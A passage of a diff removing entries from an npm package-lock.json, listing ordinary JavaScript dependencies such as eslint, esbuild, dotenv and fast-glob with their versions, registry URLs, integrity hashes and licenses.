"https://registry.npmjs.org/dotenv/-/dotenv-8.6.0.tgz", - "integrity": "sha512-IrPdXQsk2BbzvCBGBOTmmSH5SodmqZNt4ERAZDmW4CT+tL8VtvinqywuANaFu4bOMWki16nqf0e4oC0QIaDr/g==", - "dev": true, - "license": "BSD-2-Clause", - "engines": { - "node": ">=10" - } - }, - "node_modules/emoji-regex": { - "version": "10.6.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-10.6.0.tgz", - "integrity": "sha512-toUI84YS5YmxW219erniWD0CIVOo46xGKColeNQRgOzDorgBi1v4D71/OFzgD9GO2UGKIv1C3Sp8DAn0+j5w7A==", - "license": "MIT" - }, - "node_modules/enquirer": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/enquirer/-/enquirer-2.4.1.tgz", - "integrity": "sha512-rRqJg/6gd538VHvR3PSrdRBb/1Vy2YfzHqzvbhGIQpDRKIa4FgV/54b5Q1xYSxOOwKvjXweS26E0Q+nAMwp2pQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-colors": "^4.1.1", - "strip-ansi": "^6.0.1" - }, - "engines": { - "node": ">=8.6" - } - }, - "node_modules/es-module-lexer": { - "version": "1.7.0", - "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.7.0.tgz", - "integrity": "sha512-jEQoCwk8hyb2AZziIOLhDqpm5+2ww5uIE6lkO/6jcOCusfk6LhMHpXXfBLXTZ7Ydyt0j4VoUQv6uGNYbdW+kBA==", - "dev": true, - "license": "MIT" - }, - "node_modules/esbuild": { - "version": "0.27.3", - "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.27.3.tgz", - "integrity": "sha512-8VwMnyGCONIs6cWue2IdpHxHnAjzxnw2Zr7MkVxB2vjmQ2ivqGFb4LEG3SMnv0Gb2F/G/2yA8zUaiL1gywDCCg==", - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "bin": { - "esbuild": "bin/esbuild" - }, - "engines": { - "node": ">=18" - }, - "optionalDependencies": { - "@esbuild/aix-ppc64": "0.27.3", - "@esbuild/android-arm": "0.27.3", - "@esbuild/android-arm64": "0.27.3", - "@esbuild/android-x64": "0.27.3", - "@esbuild/darwin-arm64": "0.27.3", - "@esbuild/darwin-x64": "0.27.3", - "@esbuild/freebsd-arm64": "0.27.3", - "@esbuild/freebsd-x64": "0.27.3", - "@esbuild/linux-arm": "0.27.3", - "@esbuild/linux-arm64": "0.27.3", - "@esbuild/linux-ia32": "0.27.3", - "@esbuild/linux-loong64": "0.27.3", - "@esbuild/linux-mips64el": "0.27.3", - "@esbuild/linux-ppc64": "0.27.3", - "@esbuild/linux-riscv64": "0.27.3", - "@esbuild/linux-s390x": "0.27.3", - "@esbuild/linux-x64": "0.27.3", - "@esbuild/netbsd-arm64": "0.27.3", - "@esbuild/netbsd-x64": "0.27.3", - "@esbuild/openbsd-arm64": "0.27.3", - "@esbuild/openbsd-x64": "0.27.3", - "@esbuild/openharmony-arm64": "0.27.3", - "@esbuild/sunos-x64": "0.27.3", - "@esbuild/win32-arm64": "0.27.3", - "@esbuild/win32-ia32": "0.27.3", - "@esbuild/win32-x64": "0.27.3" - } - }, - "node_modules/escape-string-regexp": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", - "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/eslint": { - "version": "9.39.3", - "resolved": "https://registry.npmjs.org/eslint/-/eslint-9.39.3.tgz", - "integrity": "sha512-VmQ+sifHUbI/IcSopBCF/HO3YiHQx/AVd3UVyYL6weuwW+HvON9VYn5l6Zl1WZzPWXPNZrSQpxwkkZ/VuvJZzg==", - "dev": true, - "license": "MIT", - "peer": true, - "dependencies": { - "@eslint-community/eslint-utils": "^4.8.0", - "@eslint-community/regexpp": "^4.12.1", - "@eslint/config-array": "^0.21.1", - "@eslint/config-helpers": "^0.4.2", - "@eslint/core": "^0.17.0", - "@eslint/eslintrc": "^3.3.1", - "@eslint/js": "9.39.3", - "@eslint/plugin-kit": "^0.4.1", - "@humanfs/node": "^0.16.6", - "@humanwhocodes/module-importer": "^1.0.1", - "@humanwhocodes/retry": "^0.4.2", - "@types/estree": "^1.0.6", - "ajv": "^6.12.4", - "chalk": "^4.0.0", - "cross-spawn": "^7.0.6", - "debug": "^4.3.2", - "escape-string-regexp": "^4.0.0", - "eslint-scope": "^8.4.0", - "eslint-visitor-keys": "^4.2.1", - "espree": "^10.4.0", - "esquery": "^1.5.0", - "esutils": "^2.0.2", - "fast-deep-equal": "^3.1.3", - "file-entry-cache": "^8.0.0", - "find-up": "^5.0.0", - "glob-parent": "^6.0.2", - "ignore": "^5.2.0", - "imurmurhash": "^0.1.4", - "is-glob": "^4.0.0", - "json-stable-stringify-without-jsonify": "^1.0.1", - "lodash.merge": "^4.6.2", - "minimatch": "^3.1.2", - "natural-compare": "^1.4.0", - "optionator": "^0.9.3" - }, - "bin": { - "eslint": "bin/eslint.js" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://eslint.org/donate" - }, - "peerDependencies": { - "jiti": "*" - }, - "peerDependenciesMeta": { - "jiti": { - "optional": true - } - } - }, - "node_modules/eslint-scope": { - "version": "8.4.0", - "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-8.4.0.tgz", - "integrity": "sha512-sNXOfKCn74rt8RICKMvJS7XKV/Xk9kA7DyJr8mJik3S7Cwgy3qlkkmyS2uQB3jiJg6VNdZd/pDBJu0nvG2NlTg==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "esrecurse": "^4.3.0", - "estraverse": "^5.2.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/eslint-visitor-keys": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", - "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/eslint/node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" - } - }, - "node_modules/eslint/node_modules/find-up": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", - "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", - "dev": true, - "license": "MIT", - "dependencies": { - "locate-path": "^6.0.0", - "path-exists": "^4.0.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/eslint/node_modules/locate-path": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", - "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", - "dev": true, - "license": "MIT", - "dependencies": { - "p-locate": "^5.0.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/eslint/node_modules/p-limit": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", - "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "yocto-queue": "^0.1.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/eslint/node_modules/p-locate": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", - "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", - "dev": true, - "license": "MIT", - "dependencies": { - "p-limit": "^3.0.2" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/espree": { - "version": "10.4.0", - "resolved": "https://registry.npmjs.org/espree/-/espree-10.4.0.tgz", - "integrity": "sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "acorn": "^8.15.0", - "acorn-jsx": "^5.3.2", - "eslint-visitor-keys": "^4.2.1" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/esprima": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", - "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", - "dev": true, - "license": "BSD-2-Clause", - "bin": { - "esparse": "bin/esparse.js", - "esvalidate": "bin/esvalidate.js" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/esquery": { - "version": "1.7.0", - "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.7.0.tgz", - "integrity": "sha512-Ap6G0WQwcU/LHsvLwON1fAQX9Zp0A2Y6Y/cJBl9r/JbW90Zyg4/zbG6zzKa2OTALELarYHmKu0GhpM5EO+7T0g==", - "dev": true, - "license": "BSD-3-Clause", - "dependencies": { - "estraverse": "^5.1.0" - }, - "engines": { - "node": ">=0.10" - } - }, - "node_modules/esrecurse": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", - "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "estraverse": "^5.2.0" - }, - "engines": { - "node": ">=4.0" - } - }, - "node_modules/estraverse": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", - "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", - "dev": true, - "license": "BSD-2-Clause", - "engines": { - "node": ">=4.0" - } - }, - "node_modules/estree-walker": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-3.0.3.tgz", - "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/estree": "^1.0.0" - } - }, - "node_modules/esutils": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", - "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", - "dev": true, - "license": "BSD-2-Clause", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/expect-type": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/expect-type/-/expect-type-1.3.0.tgz", - "integrity": "sha512-knvyeauYhqjOYvQ66MznSMs83wmHrCycNEN6Ao+2AeYEfxUIkuiVxdEa1qlGEPK+We3n0THiDciYSsCcgW/DoA==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=12.0.0" - } - }, - "node_modules/extendable-error": { - "version": "0.1.7", - "resolved": "https://registry.npmjs.org/extendable-error/-/extendable-error-0.1.7.tgz", - "integrity": "sha512-UOiS2in6/Q0FK0R0q6UY9vYpQ21mr/Qn1KOnte7vsACuNJf514WvCCUHSRCPcgjPT2bAhNIJdlE6bVap1GKmeg==", - "dev": true, - "license": "MIT" - }, - "node_modules/fast-deep-equal": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", - "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", - "dev": true, - "license": "MIT" - }, - "node_modules/fast-glob": { - "version": "3.3.3", - "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz", - "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==", - "license": "MIT", - "dependencies": { - "@nodelib/fs.stat": "^2.0.2", - "@nodelib/fs.walk": "^1.2.3", - "glob-parent": "^5.1.2", - "merge2": "^1.3.0", - "micromatch": "^4.0.8" - }, - "engines": { - "node": ">=8.6.0" - } - }, - "node_modules/fast-glob/node_modules/glob-parent": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", - "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", - "license": "ISC", - "dependencies": { - "is-glob": "^4.0.1" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/fast-json-stable-stringify": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", - "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", - "dev": true, - "license": "MIT" - }, - "node_modules/fast-levenshtein": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", - "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", - "dev": true, - "license": "MIT" - }, - "node_modules/fastq": { - "version": "1.20.1", - "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.20.1.tgz", - "integrity": "sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==", - "license": "ISC", - "dependencies": { - "reusify": "^1.0.4" - } - }, - "node_modules/fflate": { - "version": "0.8.2", - "resolved": "https://registry.npmjs.org/fflate/-/fflate-0.8.2.tgz", - "integrity": "sha512-cPJU47OaAoCbg0pBvzsgpTPhmhqI5eJjh/JIu8tPj5q+T7iLvW/JAYUqmE7KOB4R1ZyEhzBaIQpQpardBF5z8A==", - "dev": true, - "license": "MIT" - }, - "node_modules/file-entry-cache": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-8.0.0.tgz", - "integrity": "sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "flat-cache": "^4.0.0" - }, - "engines": { - "node": ">=16.0.0" - } - }, - "node_modules/fill-range": { - "version": "7.1.1", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", - "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", - "license": "MIT", - "dependencies": { - "to-regex-range": "^5.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/find-up": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", - "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", - "dev": true, - "license": "MIT", - "dependencies": { - "locate-path": "^5.0.0", - "path-exists": "^4.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/flat-cache": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-4.0.1.tgz", - "integrity": "sha512-f7ccFPK3SXFHpx15UIGyRJ/FJQctuKZ0zVuN3frBo4HnK3cay9VEW0R6yPYFHC0AgqhukPzKjq22t5DmAyqGyw==", - "dev": true, - "license": "MIT", - "dependencies": { - "flatted": "^3.2.9", - "keyv": "^4.5.4" - }, - "engines": { - "node": ">=16" - } - }, - "node_modules/flatted": { - "version": "3.3.3", - "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.3.3.tgz", - "integrity": "sha512-GX+ysw4PBCz0PzosHDepZGANEuFCMLrnRTiEy9McGjmkCQYwRq4A/X786G/fjM/+OjsWSU1ZrY5qyARZmO/uwg==", - "dev": true, - "license": "ISC" - }, - "node_modules/fs-extra": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-7.0.1.tgz", - "integrity": "sha512-YJDaCJZEnBmcbw13fvdAM9AwNOJwOzrE4pqMqBq5nFiEqXUqHwlK4B+3pUw6JNvfSPtX05xFHtYy/1ni01eGCw==", - "dev": true, - "license": "MIT", - "dependencies": { - "graceful-fs": "^4.1.2", - "jsonfile": "^4.0.0", - "universalify": "^0.1.0" - }, - "engines": { - "node": ">=6 <7 || >=8" - } - }, - "node_modules/fsevents": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", - "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": "^8.16.0 || ^10.6.0 || >=11.0.0" - } - }, - "node_modules/get-east-asian-width": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/get-east-asian-width/-/get-east-asian-width-1.5.0.tgz", - "integrity": "sha512-CQ+bEO+Tva/qlmw24dCejulK5pMzVnUOFOijVogd3KQs07HnRIgp8TGipvCCRT06xeYEbpbgwaCxglFyiuIcmA==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/glob-parent": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", - "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", - "dev": true, - "license": "ISC", - "dependencies": { - "is-glob": "^4.0.3" - }, - "engines": { - "node": ">=10.13.0" - } - }, - "node_modules/globals": { - "version": "14.0.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-14.0.0.tgz", - "integrity": "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/globby": { - "version": "11.1.0", - "resolved": "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz", - "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==", - "dev": true, - "license": "MIT", - "dependencies": { - "array-union": "^2.1.0", - "dir-glob": "^3.0.1", - "fast-glob": "^3.2.9", - "ignore": "^5.2.0", - "merge2": "^1.4.1", - "slash": "^3.0.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/graceful-fs": { - "version": "4.2.11", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", - "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", - "dev": true, - "license": "ISC" - }, - "node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/human-id": { - "version": "4.1.3", - "resolved": "https://registry.npmjs.org/human-id/-/human-id-4.1.3.tgz", - "integrity": "sha512-tsYlhAYpjCKa//8rXZ9DqKEawhPoSytweBC2eNvcaDK+57RZLHGqNs3PZTQO6yekLFSuvA6AlnAfrw1uBvtb+Q==", - "dev": true, - "license": "MIT", - "bin": { - "human-id": "dist/cli.js" - } - }, - "node_modules/iconv-lite": { - "version": "0.7.2", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.2.tgz", - "integrity": "sha512-im9DjEDQ55s9fL4EYzOAv0yMqmMBSZp6G0VvFyTMPKWxiSBHUj9NW/qqLmXUwXrrM7AvqSlTCfvqRb0cM8yYqw==", - "license": "MIT", - "dependencies": { - "safer-buffer": ">= 2.1.2 < 3.0.0" - }, - "engines": { - "node": ">=0.10.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/ignore": { - "version": "5.3.2", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", - "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 4" - } - }, - "node_modules/import-fresh": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.1.tgz", - "integrity": "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "parent-module": "^1.0.0", - "resolve-from": "^4.0.0" - }, - "engines": { - "node": ">=6" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/import-fresh/node_modules/resolve-from": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", - "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/imurmurhash": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", - "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.8.19" - } - }, - "node_modules/is-extglob": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", - "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-fullwidth-code-point": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/is-glob": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", - "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", - "license": "MIT", - "dependencies": { - "is-extglob": "^2.1.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-interactive": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-interactive/-/is-interactive-2.0.0.tgz", - "integrity": "sha512-qP1vozQRI+BMOPcjFzrjXuQvdak2pHNUMZoeG2eRbiSqyvbEf/wQtEOTOX1guk6E3t36RkaqiSt8A/6YElNxLQ==", - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/is-number": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", - "license": "MIT", - "engines": { - "node": ">=0.12.0" - } - }, - "node_modules/is-subdir": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/is-subdir/-/is-subdir-1.2.0.tgz", - "integrity": "sha512-2AT6j+gXe/1ueqbW6fLZJiIw3F8iXGJtt0yDrZaBhAZEG1raiTxKWU+IPqMCzQAXOUCKdA4UDMgacKH25XG2Cw==", - "dev": true, - "license": "MIT", - "dependencies": { - "better-path-resolve": "1.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/is-unicode-supported": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-2.1.0.tgz", - "integrity": "sha512-mE00Gnza5EEB3Ds0HfMyllZzbBrmLOX3vfWoj9A9PEnTfratQ/BcaJOuMhnkhjXvb2+FkY3VuHqtAGpTPmglFQ==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/is-windows": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-windows/-/is-windows-1.0.2.tgz", - "integrity": "sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/isexe": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", - "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", - "license": "ISC" - }, - "node_modules/js-tokens": { - "version": "9.0.1", - "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-9.0.1.tgz", - "integrity": "sha512-mxa9E9ITFOt0ban3j6L5MpjwegGz6lBQmM1IJkWeBZGcMxto50+eWdjC/52xDbS2vy0k7vIMK0Fe2wfL9OQSpQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/js-yaml": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz", - "integrity": "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==", - "dev": true, - "license": "MIT", - "dependencies": { - "argparse": "^2.0.1" - }, - "bin": { - "js-yaml": "bin/js-yaml.js" - } - }, - "node_modules/json-buffer": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", - "integrity": 